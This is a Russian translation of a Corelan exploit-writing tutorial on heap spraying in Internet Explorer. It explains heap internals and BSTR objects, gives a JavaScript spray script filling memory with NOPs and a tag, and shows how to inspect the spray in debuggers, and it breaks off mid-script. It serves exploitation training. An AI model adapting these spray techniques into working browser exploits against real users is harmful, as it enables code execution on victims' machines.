R0 CREW

Exploit writing tutorial part 11: Heap Spraying Demystified [Перевод: dirtyharry]

Перейти к содержанию

Введение

Уже было много сказано и написано про heap spraying, но большая часть существующей технической документации посвящена браузеру Internet Explorer 7 (или более старым версиям). Хотя и существует ряд публичных эксплойтов для IE8 и других браузеров, но сама техника при этом не была описана подробно. Конечно, вы сможете понять, как они работают, изучив при этом исходный код эксплойта. Хорошим примером такого эксплойта является модуль Metasploit для MS11_050, включающий в себя обход DEP для IE8 в Windows XP и Windows 7, добавленный пользователем sinn3r.

В этом уроке я собираюсь предоставить полный и детальный обзор heap spraying, а также расскажу о том, как использовать его в старых и новых версиях браузеров.

Я начну с некоторых «древних» (классических) техник, которые могут быть использованы в IE6 и IE7. Мы также рассмотрим heap spraying в других приложениях.

Далее я расскажу о точечном heap spraying, которое часто требуется для обхода DEP в IE8 и более новых версиях браузеров при условии, что единственным вариантом является использование кучи.

Я завершу этот урок, поделившись некоторыми своими исследованиями по созданию надежного heap spraying в новых версиях браузеров, таких как IE9 и Firefox 9.

Как вы могли заметить, мое основное внимание будет уделено Internet Explorer, но я также расскажу о Firefox и объясню, как можно модифицировать данную технику для этого браузера.

Перед тем как окунуться в теорию и механику heap spraying, мне нужно кое-что прояснить. Heap spraying не имеет ничего общего с эксплуатацией кучи. Heap spraying – это техника доставки полезной нагрузки. Данная техника использует тот факт, что у вас есть возможность поместить свою полезную нагрузку по предсказуемому адресу в памяти таким образом, что вы можете легко перейти к нему или вернуться к нему.

Этот урок не про переполнение кучи или эксплуатацию кучи, но я должен сказать пару слов о куче и ее отличиях от стека, чтобы вы понимали различия между этими двумя сущностями.

Стек

Каждый поток в приложении имеет стек с ограниченным и фиксированным размером. Размер стека определяется при запуске приложения или когда разработчик использует API, например, CreateThread() и передает размер стека в качестве параметра функции.

HANDLE WINAPI CreateThread(
  __in_opt   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in       SIZE_T dwStackSize,
  __in       LPTHREAD_START_ROUTINE lpStartAddress,
  __in_opt   LPVOID lpParameter,
  __in       DWORD dwCreationFlags,
  __out_opt  LPDWORD lpThreadId
);

Листинг 1. Прототип функции CreateThread()

Стек работает по принципу LIFO (последним пришел – первым вышел) и обычно используется для хранения локальных переменных, сохранения указателей возврата функций, непосредственно функций и их аргументов, данных, объектов, записей обработчика исключений и т.д. В предыдущих уроках мы активно использовали стек, поэтому вы должны быть знакомы с тем, как он работает, как перемещаться по стеку и т.д.

Куча

Куча – это другой зверь. Куча предназначена для динамического распределения памяти. Такое поведение может быть необходимым, если, например, приложение не знает, сколько данных ему необходимо получить или разместить в памяти. Стек занимает очень небольшую часть доступной виртуальной памяти на компьютере. Менеджер кучи, в свою очередь, имеет доступ к гораздо большему количеству виртуальной памяти.

Allocate

Ядро управляет всей доступной в системе виртуальной памятью. Операционная система предоставляет для этого некоторые функции (обычно экспортируемые ntdll.dll), которые позволяют пользовательским приложениям выделять/освобождать/перераспределять память.
Приложение может запросить блок памяти у менеджера кучи, например, выполнив вызов VirtualAlloc() (функция из kernel32.dll), которая в итоге вызывает функцию в ntdll.dll. В XP SP3 цепочка вызовов выглядит следующим образом:

kernel32.VirtualAlloc()
-> kernel32.VirtualAllocEx()
   -> ntdll.NtAllocateVirtualMemory()
      -> syscall()

Листинг 2. Цепочка вызовов функций в XP SP3

Существует множество других API, которые приводят к выделению кучи.

В теории, приложение может также запросить большой блок памяти кучи (например, используя HeapCreate()) и реализовать собственное управление кучей.

В любом случае, у любого процесса есть хотя бы одна куча (default heap) и может запросить больше при необходимости. Куча состоит из памяти одного или нескольких сегментов.

Free

Когда чанк памяти освобождается приложением, он может быть «взят» подпрограммами LookAsideList/Low Fragmentation Heap (до Vista)/Low Fragmentation Heap (от Vista и выше) или freeList (в зависимости от версии ОС), и разместить его в таблице, разбив на чанки заданного размера. Данный механизм используется для ускорения и повышения эффективности перераспределения памяти.

Думайте об этом как о некоторой системе кэширования. Если чанк больше не нужен приложению, его можно поместить в кэш, чтобы новое выделение чанка того же размера не привело к новому выделению памяти в куче, а «менеджер кэша» просто вернул бы чанк, доступный в кэше.

Когда происходит многократное выделение и освобождение, куча может быть фрагментирована, что плохо с точки зрения эффективности. Система кэширования может помочь предотвратить дальнейшую фрагментацию (в зависимости от размера выделенных чанков и т.д.)

Разумеется, существует достаточное количество структур и механизмов для облегчения управления памятью кучи.

Важно помнить, что приложение (процесс) может иметь несколько куч. Позже мы узнаем, как определять и запрашивать кучи, связанные, например, с Internet Explorer.

Кроме того, чтобы максимально упростить процесс при попытке выделения нескольких чанков памяти, менеджер кучи попытается минимизировать фрагментацию и будет возвращать соседние блоки. Это именно то поведение, которые мы попытаемся использовать в heap spray.

Чанк vs блок vs сегмент

Примечание: в этом уроке я буду использовать термины «чанк» и «блок». Всякий раз, когда я использую «чанк», я имею в виду память в куче. Когда я использую «блок» или «спрейблок», я имею в виду данные, которые я попытаюсь сохранить в куче. В литературе вы также можете встретить термин «блок», который является просто единицей измерения.

Чанки кучи собраны в сегменты. Вы часто можете найти указатель на сегмент внутри заголовка чанка.

Опять же, этот урок не об управлении кучей или эксплуатации кучи, так что это почти все, что вам нужно знать о куче на данный момент.

История

Heap spraying далеко не новая техника. Первоначально она была опубликована Skylined и давно использовалась.

Согласно Wikipedia, первое публичное использование heap spray было датировано 2001 годом (MS01-033). Skylined использовал эту технику в своем эксплойте для Internet Explorer в 2004 году. На сегодняшний день, спустя много лет, heap spray все еще остается наилучшей техникой доставки полезной нагрузки при эксплуатации браузеров.

Несмотря на многочисленные усилия по обнаружению и предотвращению heap spray, техника по-прежнему рабочая. Механика доставки полезной нагрузки, возможно, со временем изменилась, но основная идея осталась прежней.

В этом уроке мы рассмотрим шаг за шагом различные методики и в конце рассмотрим результаты моего собственного исследования heap spray в современных браузерах.

Концепция

Как уже было сказано ранее, heap spraying – это метод доставки полезной нагрузки. Тот факт, что куча детерминирована позволяет вам поместить свой шеллкод где-то в куче по предсказуемому адресу и в дальнейшем обратиться к нему.

Чтобы заставить heap spray работать, вы должны иметь возможность выделять и заполнять чанки в куче, прежде чем получить контроль над EIP. Под возможностью я подразумеваю распределение приложением ваших данных в памяти контролируемым образом, прежде чем вызвать повреждение памяти.

Браузер предоставляет простой механизм для этого. Он имеет поддержку сценариев, поэтому вы можете использовать javascript или vbscript для выделения чего-либо в памяти перед тем, как вызвать ошибку.

Однако, концепция heap spraying не ограничивается лишь браузерами. Например, вы также можете использовать javascript или actionscript в Adobe Reader, чтобы поместить свой шеллкод в кучу по предсказуемому адресу.

Подытоживая вышесказанное: если вы можете разместить данные в памяти в предсказуемом месте перед перехватом контроля над EIP, вы можете использовать heap spray в том или ином виде.

Давайте пока что сосредоточимся на веб-браузерах. Опять-таки, ключевой момент в heap spray заключается в том, что вы должны иметь возможность доставить шеллкод в нужное место в памяти, прежде чем перехватывать контроль над EIP.

Таймлайн может выглядеть следующем образом:

  • «Распыление» (spray) кучи
  • Вызов ошибки
  • Перехват контроля над EIP, указывающего на адрес в куче

Существует несколько способов выделить блоки памяти в браузере. Наиболее часто используемый метод основан на распределении строк в javascript, однако, это не единственный способ. Перед тем как начать распределять строки с помощью javascript и «распылять» кучу, мы настроим нашу среду.

Среда

Мы начнем с тестирования основных концепций heap spraying на XP SP3, IE6. В конце урока мы рассмотрим heap spraying на Windows 7 и IE9. Это означает, что вам понадобится компьютер (или виртуальная машина) с XP и Windows 7 (32 bit), чтобы выполнять все тесты и упражнения, описанные в данном уроке.

Что касается XP, то я:

  • Обновляю IE до IE8
  • Устанавливаю дополнительную версию IE6, IE7, запустив установщик IECollections.

Таким образом я могу запустить 3 разные версии IE на XP.

Для Windows 7 вам следует использовать IE8 (по умолчанию). Мы перейдем к IE9 на следующем этапе. Если вы уже выполнили обновление, то необходимо просто удалить IE9.

Убедитесь, что DEP отключен в Windows XP (отключен по умолчанию). Мы решим проблему с DEP, когда будем использовать IE8 в наших тестах.

Далее нам потребуется Immunity Debugger, mona.py, а также windbg (теперь он является частью Windows SDK/WDK).

Вы можете найти описания различных команд для windbg по ссылке.

После установки windbg обязательно включите поддержку symbols. Запустите windbg, перейдите в «File», выберите «Symbol file path» и введите следующую строку в текстовом поле (убедитесь, что в конце нет пробелов или переноса строки):

SRV*c:\windbgsymbols*http://msdl.microsoft.com/download/symbols

Листинг 3. Установка поддержки symbols для windbg

hs1
Рисунок 1. Установка поддержки symbols в windbg

Нажмите «Ok». Закройте windbg и нажмите «Yes», чтобы сохранить информацию для рабочего пространства. Готово!

Убедитесь, что на вашей машине есть доступ к Интернет, когда вы запускаете windbg. Если symbol path указан некорректно или вы не были подключены к Интернету, то вы не сможете загрузить нужные файлы и большинство команд, связанных с кучей, могут крашиться.

Примечание: если вы когда-нибудь захотите использовать консольный отладчик ntsd.exe, поставляемый вместе с windbg, вам потребуется создать системную переменную окружения _NT_SYMBOL_PATH и также установить для нее значение:

SRV*c:\windbgsymbols*http://msdl.microsoft.com/download/symbols

hs2
Рисунок 2. Установка переменной окружения _NT_SYMBOL_PATH

Большинство сценариев, которые будут использоваться в этом руководстве можно загрузить с нашего сервера http://redmine.corelan.be/projects/corelan-heapspray. Я рекомендую скачать zip-файл и использовать скрипты из архива чем делать copy/past скриптов из текста. Кроме того, имейте в виду, что на zip-файл может ругаться ваш антивирус. Пароль для zip-архива – «infected» (без кавычек).

Распределение строк

Базовый подход

Самый очевидный способ разместить что-то в памяти браузера, используя javascript – создать строковую переменную, присвоив ей некое значение.

Примечание переводчика: в оригинальной статье был пустой текстовый блок (их будет несколько), что может смутить читателя, но исходный код страницы показал, что передавалась строковая переменная и алерт с текстом «allocation done».


Рисунок 3. Файл basicalloc.html содержит строковую переменную myvar и alert

Довольно просто, не так ли? Еще один способ создания строк, приводящий к выделению кучи:

var myvar = "CORELAN!";
var myvar2 = new String("CORELAN!");
var myvar3 = myvar + myvar2;
var myvar4 = myvar3.substring(0,8);

Листинг 4. Пример создания строковых переменных, приводящих к выделению кучи

Больше информации о переменных в javascript можно найти тут. Пока все идет хорошо.

При просмотре на память процесса и фактическое расположение строк в памяти вы можете заметить, что каждая из переменных преобразована в Unicode. Когда строка помещается в память, она становится BSTR объектом. Этот объект имеет заголовок, терминатор и действительно содержит преобразованный в юникод экземпляр исходной строки.

Заголовок BSTR объекта составляет 4 байта (двойное слово) и содержит длину юникод-строки. В конце объекта мы видим два нулбайта, обозначающих конец строки.


Рисунок 4. Формат BSTR объекта

Другими словами, фактическое пространство памяти, занимаемое строкой:

(length of the string * 2) + 4 bytes (header) + 2 bytes (terminator)

Если вы откроете исходный html-файл (файл с одной строковой переменной и алертом) в IE6 или IE7 на Windows XP, то сможете найти стоку в памяти.

Пример: строка «CORELAN!», длиной 8 символов.
hs5
Рисунок 5. Дамп памяти, содержащий строку “CORELAN!”

Заголовок в этом примере 0x00000010 (16 байт, как и ожидалось), следующие 16 байт сама строка и два нулбайта в конце.

Примечание: вы можете найти строки в Immunity Debugger, использую mona:

!mona find -s "CORELAN!" -unicode -x *

Если вы хотите выполнить подобный поиск в windbg, то наберите в командной строке:

s -u 0x00000000 L?0x7fffffff "CORELAN!"

Замените параметр -u на -a, если вы хотите искать ASCII вместо Unicode.

Наш простой скрипт привел к небольшому выделению в куче. Мы могли бы попытаться создать массу переменных, содержащих наш шеллкод и надеяться, что в итоге мы выделим одну из переменных в предсказуемом месте…но должен быть более эффективный способ сделать это.
Из-за того факта, что куча и выделения в куче детерминированы, справедливо предположить, что, если вы продолжите выделять чанки памяти, распределения будут в конечном итоге последовательны (при условии, что блоки достаточно велики, чтобы инициировать выделение, а не получить «кэшированную» память, о которой упоминалось ранее). Подобный сценарий может привести к тому, что чанки будут расположены непоследовательно и по менее предсказуемым адресам.

Хотя начальный адрес первых выделений может отличаться, хороший heap spray (если все сделано правильно) в конечном итоге выделит чанк памяти в предсказуемом месте после определенного количества итераций. Нам нужно только выяснить как это сделать и каким будет этот самый адрес.

Unescape()

Еще одна вещь, с которой нам приходится иметь дело – это преобразование в юникод. К счастью, это легко исправить. Мы можем использовать функцию unescape().

Согласно w3schools.com эта функция «декодирует закодированную строку». Чтобы обойти это ограничение нам нужно использовать последовательность %u (занимает 2 байта). Имейте в виду, что каждая пара байт должна быть расположена в обратном порядке. Для сохранения строки «CORELAN!» в переменной с использованием функции unescape вам необходимо поместить байты в следующем порядке:

OC ER AL !N
<script>
var myvar = unescape(‘%u\4f43%u\4552’); //CORE
myvar += unescape(‘%u\414c%u\214e’); //LAN!
alert(allocation done);
</script>

Листинг 5. Содержимое файла basicalloc_unescape.html – не забудьте удалить обратные слеши в аргументах unescape()

Теперь найдем ascii-строку в windbg:

0:008> s -a 0x00000000 L?7fffffff "CORELAN"
001dec44  43 4f 52 45 4c 41 4e 21-00 00 00 00 c2 1e a0 ea  CORELAN!........

Заголовок BSTR-объекта начинается четыремя байтами ранее:

0:008> d 001dec40
001dec40  08 00 00 00 43 4f 52 45-4c 41 4e 21 00 00 00 00  ....CORELAN!....

Заголовок BSTR теперь указывает размер 8 байт (у нас little endian, поэтому 0x00000008). Одно из преимуществ функции unescape заключается в том, что мы можем использовать нулбайт. В heap spray нам обычно не приходится иметь дело с badchars. В конце концов, мы собираемся хранить наши данные в памяти напрямую.

Схема памяти при heap spray

Мы знаем, что можем инициировать выделение памяти, используя простые строковые переменные в javascript. Строка, которую мы использовали в нашем примере довольно маленькая. Шеллкод был бы больше, но по-прежнему относительно мал (в сравнении с общим объемом виртуальной памяти, доступной для кучи).

Теоретически мы могли бы инициализировать ряд переменных, содержащих шеллкод, после чего могли бы попытаться перейти к началу одного из блоков памяти. Если мы просто повторим шеллкод повсюду, то должны быть уверены, что попадем в его начало.

Вместо того, чтобы размещать шеллкод множество раз, мы немного упростим задачу и создадим небольшие блоки, состоящие из следующих компонентов:

  • Nops (множество nop)
  • Шеллкод (в конце чанка)

Если мы используем чанки достаточно большого размера, то сможем воспользоваться предсказуемым поведением кучи при выделении блоков памяти и быть уверены в том, что адрес будет указывать на nops каждый раз, когда происходит heap spray.

Если мы осуществим jump в nops, то сможем выполнить шеллкод. Так вот просто. С точки зрения блока это выглядит следующим образом:


Рисунок 6. Чанки кучи, содержащие nops и шеллкод

Размещая все эти блоки, друг за другом, мы получим большую область памяти, содержащую последовательные чанки (nops + шеллкод). С точки зрения фрагментации памяти после «распыления» мы должны достичь следующего:


Рисунок 7. Память кучи до и после «распыления»

Первые несколько итераций «распыления» могут быть неудачными с точки зрения предсказуемости адресов (из-за некорректной фрагментации или в результате возврата памяти из кэша). Продолжая «распыление», вы в конечном итоге достигнете точки в памяти, которая всегда будет указывать на nops.

Выбирая правильный размер каждого чанка, мы можем воспользоваться также способностью кучи к выравниванию. В конечном итоге детерминированное поведение кучи сможет гарантировать, что выбранный адрес будет указывать на nops.

Одна из вещей, на которую мы пока не обращали внимания – это связь между BSTR-объектом и чанком в куче.

Когда мы размещаем строку в памяти, она преобразуется в BSTR-объект. Чтобы сохранить этот объект в куче необходимо выделить чанк в этой самой куче.

Если BSTR-объект будет достаточно большим, будут ли последующие объекты помещаться в тот же самый чанк? Или куча попросту выделит для этого новый чанк? Если так, то мы можем получить последовательные чанки кучи, выглядит это следующим образом:


Рисунок 8. Куча выделяет новый чанк для следующего BSTR-объекта

Если часть кучи содержит какой-то «мусор» между двумя последовательными чанками, то это может стать проблемой. Мы не можем себе позволить сделать jump в кучу, если есть большая вероятность, что в этом месте содержится этот самый «мусор». Это означает, что мы должны выбрать размер BSTR-объекта таким образом, чтобы размер чанка кучи был как можно ближе к размеру BSTR-объекта. Прежде всего, давайте напишем скрипт для создания серии BSTR-объектов, а также посмотрим, как обнаружить соответствующие чанки кучи и сделать дамп их содержимого.

Базовый скрипт

Использование ряда отдельных переменных может быть обременительно и, вероятно, излишне. У нас есть доступ к полноценному языку сценариев, поэтому мы можем использовать массивы, списки или другие объекты, доступные языку, для размещения наших блоков nops + шеллкод. Для более простого и быстрого создания большого количества выделений мы будем использовать массивы.

Идея заключается в том, чтобы сделать каждый элемент массива достаточно большим и спровоцировать выделение чанков, которые будут размещены в куче близко или рядом друг с другом.

Необходимо понимать, что для корректной реализации heap spray мы должны объединить две строки вместе, когда заполняем массив. Поскольку мы будем использовать nops + шеллкод, то это просто сделать.

Давайте создадим простой скрипт, который выделит 200 блоков по 0x1000 байт (=4096 байт) каждый, что в конечном итоге будет составлять 0,7 Мб.

Мы будем ставить тег («CORELAN!») в начале каждого блока, а оставшееся заполнять нопами. В действительности мы использовали бы nops в начале, а шеллкод в конце, но я решил использовать тег в этом примере, чтобы вы могли очень легко найти начало каждого блока в памяти.

Примечание: на этой странице некорректно отображается аргумент функции unescape, поэтому я добавил обратный слеш. Не забудьте удалить обратные слеши, если вы копируете этот скрипт со страницы, в zip-файле содержится корректная версия html-страницы.

// тестирование heap spray
// corelanc0d3r
// Не забудьте удалить обратные слеши в unescape
tag =   unescape('%u\4F43%u\4552');   // CORE
tag +=  unescape('%u\414C%u\214E');   // LAN!

chunk = '';
chunksize = 0x1000;
nr_of_chunks = 200;

  for ( counter = 0; counter < chunksize; counter++)
{
	chunk +=   unescape('%u\9090%u\9090');	  //nops
}

document.write("size of NOPS at this point : " + chunk.length.toString() + "<br>");
chunk = chunk.substring(0, chunksize - tag.length);
document.write("size of NOPS after substring: " + chunk.length.  toString() +" <br>");

// create the array
testarray =   new   Array();
  for ( counter = 0; counter < nr_of_chunks; counter++)
{
	testarray[counter] = tag + chunk;
	document.write(" Allocated"+ (tag.length + chunk.length).toString() +"  bytes <br>");
}
  alert("Spray done")

Листинг 6. Содержимое файла spray1.html

Конечно, 0,7 Мб может оказаться недостаточно большим размером в реальном сценарии, но я пока лишь пытаюсь продемонстрировать основы техники.

Heap spray – IE6

Начнем с открытия файла в Internet Explorer 6 (версия 6.00.2900.2180). При открытии html-страницы в браузере мы можем видеть на экране некоторые данные. Похоже, что браузер обрабатывает что-то в течение нескольких секунд, а затем выводит алерт.

hs9
Рисунок 9. Результат выполнения сценария

Интересно то, что длина тега (при использовании функции unescape), по-видимому, возвращает 4 байта, а не 8, как ожидалось. Обратите внимание на строку «size of NOPS after substring». Значение 4092, в то время как код для генерации чанка:

chunk = chunk.substring(0,chunksize - tag.length);

Тег «CORELAN!» однозначно составляет 8 байт. Похоже, что свойство .length в данном случае возвращает только половину фактического размера. Если не учесть данный факт, то это может привести к непредсказуемому результату, но об этом мы поговорим позже.

Чтобы подсмотреть, что же произошло, мы можем воспользоваться инструментом VMMap. Эта бесплатная утилита позволяет нам визуализировать виртуальную память, связанную с процессом. При подключении VMMap к Internet Explorer перед открытием страницы мы увидим что-то вроде этого:


Рисунок 10. Интерфейс VMMap после подключения к процессу Internet Explorer

Перейдем во вкладку View -> Fragmentation view:


Рисунок 11. Fragmentation view в VMMap

После открытия нашего html-файла с простым скриптом, VMMap отобразит следующее (нажмите F5, чтобы обновить страницу):


Рисунок 12. Состояние памяти после запуска скрипта

Вы можете видеть, что количество commited bytes увеличилось. Окно фрагментации теперь выглядит так:


Рисунок 13. Fragmentation view запуска скрипта

Обратите внимание на желтый блок внизу окна. Поскольку мы запустили код, который выполняет heap spray, и это единственное заметное изменение по сравнению с предыдущим состоянием, мы можем предположить, что это как раз куча, которая содержит наши «распыленные» блоки.

Если мы кликнем по нему, то главное меню VMMap обновится и покажет диапазон адресов в памяти (один из блоков начинается с 0x029E0000).


Рисунок 14. Один из блоков начинается с 0x029E0000

Пока не закрывайте VMMap.

Как heap spray выглядит в отладчике

Визуализация – это, безусловно, хорошо, но лучше увидеть heap spray и отдельные чанки в отладчике.

Immunity Debugger

Аттачим процесс iexplore.exe (тот, к которому подключен VMMap) к Immunity Debugger.

hs15
Рисунок 15. Список процессов в Immunity Debugger

Поскольку мы рассматриваем один и тот же процесс и одну и ту же виртуальную память, мы можем легко подтвердить с помощью отладчика, что выбранный диапазон памяти в VMMap действительно содержит heap spray.

Давайте найдем адреса, содержащие наш тег «CORELAN!» с помощью mona:

!mona find -s "CORELAN!"

hs16
Рисунок 16. Поиск тега «CORELAN!» в отладчике

Mona обнаружила 201 копию тега. Это именно то, что мы ожидали, т.к. в скрипте объявили переменную и инициализировали 200 чанков с этим тегом. Когда вы откроете файл find.txt (mona сохраняет результаты в текстовый файл), вы найдете все 201 адреса, по которым можно обнаружить нашу строку, включая указатели из диапазона адресов, которые мы выбрали ранее в VMMap.

Если вы сделаете дамп памяти по адресу 0x02BC3B3C (в моем текстовом файле этот адрес указывал на последний выделенный блок), вы должны найти тег, за которым следуют nops.

hs17
Рисунок 17. Дамп участка памяти, содержащий тег и nops

Прямо перед тегом мы также можем увидеть заголовок BSTR-объекта.

hs18
Рисунок 18. Заголовок BSTR-объекта содержит значение 0x00002000

В данном случае заголовок BSTR-объекта указывает на размер в 0x00002000 байт. Почему? Я думал, что мы выделили 0x1000 байт (=4096). Что ж, мы вернемся к этому через минуту.
Если вы прокрутите до более низких адресов, то увидите конец предыдущего чанка:


Рисунок 19. Мусор между двумя чанками

Мы также можем видеть некоторый мусор между двумя чанками. В других же случаях мы можем видеть, что чанки расположены очень быстро друг к другу:


Рисунок 20. Чанки практически соединяются друг с другом

Если мы посмотрим на содержимое всего чанка, то ожидаем увидеть наш тег + nops размером 0x1000байт, так?

Помните, мы проверили длину тега? Мы передали 8 байт функции unescape и при проверке длины оказалось, что в теге 4 байта. Если мы передаем данные в unescape и проверяем длину на соответствие 0x1000 байт, мы на самом деле передаем 0x2000 байт. В браузере мы видели прямым текстом «Allocated 4096 байт», тогда как на самом деле было выделено в два раза больше. Это объясняет почему мы видим заголовок BSTR-объекта равный 0x2000.

Таким образом, выделение точно соответствует тому, что мы пытались сделать. Путаница возникает из-за того, что length возвращает половину размера, поэтому если мы применяем length к данным, переданным в unescape для определения окончательного размера блока, который нужно выделить, нам нужно помнить, что фактический размер в этот момент в два раза больше.

Поскольку первоначальное значение чанка было 8192 байта (0x2000) после того, как мы заполнили его нопами, BSTR-объект в памяти также должен быть заполнен нопами.
Итак, если это верно, когда мы сделаем дамп по последнему адресу из find.txt (со смещением 0x1000), мы, вероятно, увидим nops.


Рисунок 21. Дамп участка памяти по адресу 0x002BC3B3C со смещением 0x1000

Если мы сделаем дамп по адресу со смещением 0x2000, то должны увидеть конец BSTR-объекта.


Рисунок 22. Конец BSTR-объекта

Круто.

Мы достигли первой цели. Нам удалось поместить несколько более крупных блоков в кучу и выяснить как функция unescape влияет на фактический размер BSTR-объекта.

WinDBG

Теперь давайте посмотрим, как heap spray выглядит в windbg. Не закрывайте Immunity, а просто отвяжите процесс (File -> detach). Откройте WinDBG и присоединитесь к процессу iexplore.exe.

hs23
Рисунок 23. Список процессов в WinDBG

Мы видим те же самые процессы в windbg. Посредством View-Memory мы можем посмотреть на произвольный участок памяти и сделать его дамп. Вывод одного из адресов из файла find.txt должен выглядеть так:


Рисунок 24. Дамп памяти по адресу 0x02BC3B3C

WInDBG имеет несколько полезных функций, которые позволяют легко посмотреть информацию о куче. Наберите в командной строке следующее:

!heap -stat

Эта команда покажет все кучи внутри процесса iexplore.exe, summary сегментов (reserved и committed bytes), а также блоки VirtualAlloc.

hs25
Рисунок 25. Результат вывода команды !heap -stat

Посмотрите, на commited bytes. Куча процесса по умолчанию (первая в списке), по-видимому, имеет большее количество commited bytes по сравнению с другими кучами.

0:008> !heap -stat
_HEAP 00150000
     Segments            00000003
         Reserved  bytes 00400000
         Committed bytes 00279000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000

Вы можете получить более детальную информацию о куче, используя команду !heap -a 00150000:

0:009> !heap -a 00150000
Index   Address  Name      Debugging options enabled
  1:   00150000
    Segment at 00150000 to 00250000 (00100000 bytes committed)
    Segment at 028e0000 to 029e0000 (000fe000 bytes committed)
    Segment at 029e0000 to 02be0000 (0008f000 bytes committed)
    Flags:                00000002
    ForceFlags:           00000000
    Granularity:          8 bytes
    Segment Reserve:      00400000
    Segment Commit:       00002000
    DeCommit Block Thres: 00000200
    DeCommit Total Thres: 00002000
    Total Free Size:      00000e37
    Max. Allocation Size: 7ffdefff
    Lock Variable at:     00150608
    Next TagIndex:        0000
    Maximum TagIndex:     0000
    Tag Entries:          00000000
    PsuedoTag Entries:    00000000
    Virtual Alloc List:   00150050
    UCR FreeList:        001505b8
    FreeList Usage:      2000c048 00000402 00008000 00000000
    FreeList[ 00 ] at 00150178: 0021c6d8 . 02a6e6b0
        02a6e6a8: 02018 . 00958 [10] - free
        029dd0f0: 02018 . 00f10 [10] - free
        0024f0f0: 02018 . 00f10 [10] - free
        00225770: 017a8 . 01878 [00] - free
        0021c6d0: 02018 . 02930 [00] - free
    FreeList[ 03 ] at 00150190: 001dfa20 . 001dfe08
        001dfe00: 00138 . 00018 [00] - free
        001dfb58: 00128 . 00018 [00] - free
        001df868: 00108 . 00018 [00] - free
        001df628: 00108 . 00018 [00] - free
        001df3a8: 000e8 . 00018 [00] - free
        001df050: 000c8 . 00018 [00] - free
        001e03d0: 00158 . 00018 [00] - free
        001def70: 000c8 . 00018 [00] - free
        001d00f8: 00088 . 00018 [00] - free
        001e00e8: 00048 . 00018 [00] - free
        001cfd78: 00048 . 00018 [00] - free
        001d02c8: 00048 . 00018 [00] - free
        001dfa18: 00048 . 00018 [00] - free
    FreeList[ 06 ] at 001501a8: 001d0048 . 001dfca0
        001dfc98: 00128 . 00030 [00] - free
        001d0388: 000a8 . 00030 [00] - free
        001d0790: 00018 . 00030 [00] - free
        001d0040: 00078 . 00030 [00] - free
    FreeList[ 0e ] at 001501e8: 001c2a48 . 001c2a48
        001c2a40: 00048 . 00070 [00] - free
    FreeList[ 0f ] at 001501f0: 001b5628 . 001b5628
        001b5620: 00060 . 00078 [00] - free
    FreeList[ 1d ] at 00150260: 001ca450 . 001ca450
        001ca448: 00090 . 000e8 [00] - free
    FreeList[ 21 ] at 00150280: 001cfb70 . 001cfb70
        001cfb68: 00510 . 00108 [00] - free
    FreeList[ 2a ] at 001502c8: 001dea30 . 001dea30
        001dea28: 00510 . 00150 [00] - free
    FreeList[ 4f ] at 001503f0: 0021f518 . 0021f518
        0021f510: 00510 . 00278 [00] - free
    Segment00 at 00150640:
        Flags:           00000000
        Base:            00150000
        First Entry:     00150680
        Last Entry:      00250000
        Total Pages:     00000100
        Total UnCommit:  00000000
        Largest UnCommit:00000000
        UnCommitted Ranges: (0)

    Heap entries for Segment00 in Heap 00150000
        00150000: 00000 . 00640 [01] - busy (640)
        00150640: 00640 . 00040 [01] - busy (40)
        00150680: 00040 . 01808 [01] - busy (1800)
        00151e88: 01808 . 00210 [01] - busy (208)
        00152098: 00210 . 00228 [01] - busy (21a)
        001522c0: 00228 . 00090 [01] - busy (88)
        00152350: 00090 . 00080 [01] - busy (78)
        001523d0: 00080 . 000a8 [01] - busy (a0)
        00152478: 000a8 . 00030 [01] - busy (22)
        001524a8: 00030 . 00018 [01] - busy (10)
        001524c0: 00018 . 00048 [01] - busy (40)
<...>
        0024d0d8: 02018 . 02018 [01] - busy (2010)
        0024f0f0: 02018 . 00f10 [10]
    Segment01 at 028e0000:
        Flags:           00000000
        Base:            028e0000
        First Entry:     028e0040
        Last Entry:      029e0000
        Total Pages:     00000100
        Total UnCommit:  00000002
        Largest UnCommit:00002000
        UnCommitted Ranges: (1)
            029de000: 00002000

    Heap entries for Segment01 in Heap 00150000
        028e0000: 00000 . 00040 [01] - busy (40)
        028e0040: 00040 . 03ff8 [01] - busy (3ff0)
        028e4038: 03ff8 . 02018 [01] - busy (2010)
        028e6050: 02018 . 02018 [01] - busy (2010)
        028e8068: 02018 . 02018 [01] - busy (2010)
<...>

Если мы посмотрим на статистику этой кучи, то увидим следующее:

0:005> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    3fff8 8 - 1fffc0  (51.56)
    fff8 5 - 4ffd8  (8.06)
    1fff8 2 - 3fff0  (6.44)
    1ff8 1d - 39f18  (5.84)
    3ff8 b - 2bfa8  (4.43)
    7ff8 5 - 27fd8  (4.03)
    18fc1 1 - 18fc1  (2.52)
    13fc1 1 - 13fc1  (2.01)
    8fc1 2 - 11f82  (1.81)
    8000 2 - 10000  (1.61)
    b2e0 1 - b2e0  (1.13)
    ff8 a - 9fb0  (1.01)
    4fc1 2 - 9f82  (1.00)
    57e0 1 - 57e0  (0.55)
    20 2a9 - 5520  (0.54)
    4ffc 1 - 4ffc  (0.50)
    614 c - 48f0  (0.46)
    3980 1 - 3980  (0.36)
    7f8 6 - 2fd0  (0.30)
    580 8 - 2c00  (0.28)

Мы можем видеть различные чанки различных размеров, что на данный момент никак не связывает нас с heap spray. Давайте посмотрим глубже:

0:005> !heap -p -a 0x02bc3b3c
    address 02bc3b3c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        02b8a440 8000 0000  [01]   02b8a448    3fff8 - (busy)

Взгляните на поле UserSize – это фактический размер чанка кучи. Выглядит так, что Internet Explorer выделил несколько чанков размером 0x3FFF8 байт и сохранил части нашего массива в различных чанках.

Мы знаем, что размер, выделяемый для чанков, не всегда напрямую связан с данными, которые мы пытаемся сохранить. Возможно, мы можем влиять на этот размер, изменяя размер BSTR-объекта. Может быть так мы сможем сказать Internet Explorer, чтобы тот выделял чанки по размеру приближенные к нашим BSTR-объектам. Чем ближе размер чанка к объекту, который мы сохраняем, тем проще нам будет наблюдать за «распылением».

Давайте изменим наш первоначальный скрипт и используем размер для переменной chunksize 0x4000 (в итоге получится 0x4000 * 2 байта данных):

// тестирование heap spray
// corelanc0d3r
// Не забудьте удалить обратные слеши в unescape
tag =   unescape('%u\4F43%u\4552');   // CORE
